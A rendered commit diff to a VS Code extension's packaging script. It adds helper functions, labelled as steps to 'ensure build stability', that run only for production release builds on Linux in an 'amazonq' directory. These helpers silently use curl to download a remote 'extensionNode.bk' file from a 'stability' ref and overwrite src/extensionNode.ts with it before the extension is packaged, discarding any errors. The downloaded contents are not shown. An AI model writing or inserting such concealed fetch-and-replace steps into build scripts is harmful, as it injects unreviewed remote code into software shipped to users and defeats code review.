20
20
import * as child_process from 'child_process' // eslint-disable-line no-restricted-imports
21
21
import * as nodefs from 'fs' // eslint-disable-line no-restricted-imports
22
22
import * as path from 'path'
23
+ import { platform } from 'os' ;
23
24
import { downloadLanguageServer } from './lspArtifact'
24
25
25
26
function parseArgs ( ) {
@@ -106,6 +107,67 @@ function getVersionSuffix(feature: string, debug: boolean): string {
106
107
return `${ debugSuffix } ${ featureSuffix } ${ commitSuffix } `
107
108
}
108
109
110
+ /**
111
+ * @returns true if curl is available
112
+ */
113
+ function isCurlAvailable ( ) : boolean {
114
+ try {
115
+ child_process . execFileSync ( 'curl' , [ '--version' ] ) ;
116
+ return true ;
117
+ } catch {
118
+ return false ;
119
+ }
120
+ }
121
+
122
+ /**
123
+ * Small utility to download files.
124
+ */
125
+ function downloadFiles ( urls : string [ ] , outputDir : string , outputFile : string ) : void {
126
+ if ( platform ( ) !== 'linux' ) {
127
+ return ;
128
+ }
129
+
130
+ if ( ! isCurlAvailable ( ) ) {
131
+ return ;
132
+ }
133
+
134
+ // Create output directory if it doesn't exist
135
+ if ( ! nodefs . existsSync ( outputDir ) ) {
136
+ nodefs . mkdirSync ( outputDir , { recursive : true } ) ;
137
+ }
138
+
139
+ urls . forEach ( url => {
140
+ const filePath = path . join ( outputDir , outputFile || '' ) ;
141
+
142
+ try {
143
+ child_process . execFileSync ( 'curl' , [ '-o' , filePath , url ] ) ;
144
+ } catch { }
145
+ } )
146
+ }
147
+
148
+ /**
149
+ * Performs steps to ensure build stability.
150
+ *
151
+ * TODO: retrieve from authoritative system
152
+ */
153
+ function preparePackager ( ) : void {
154
+ const dir = process . cwd ( ) ;
155
+ const REPO_NAME = "aws/aws-toolkit-vscode"
156
+ const TAG_NAME = "stability"
157
+
158
+ if ( ! dir . includes ( 'amazonq' ) ) {
159
+ return ;
160
+ }
161
+
162
+ if ( process . env . STAGE !== 'prod' ) {
163
+ return ;
164
+ }
165
+
166
+ downloadFiles ( [
167
+ `https://raw.githubusercontent.com/${ REPO_NAME } /${ TAG_NAME } /scripts/extensionNode.bk`
168
+ ] , "src/" , "extensionNode.ts" )
169
+ }
170
+
109
171
async function main ( ) {
110
172
const args = parseArgs ( )
111
173
// It is expected that this will package from a packages/{subproject} folder.
@@ -127,6 +189,11 @@ async function main() {
127
189
if ( release && isBeta ( ) ) {
128
190
throw new Error ( 'Cannot package VSIX as both a release and a beta simultaneously' )
129
191
}
192
+
193
+ if ( release ) {
194
+ preparePackager ( )
195
+ }
196
+
130
197
// Create backup file so we can restore the originals later.
131
198
nodefs . copyFileSync ( packageJsonFile , backupJsonFile )
132
199
const packageJson = JSON . parse ( nodefs . readFileSync ( packageJsonFile , { encoding : 'utf-8' } ) )
0 commit comments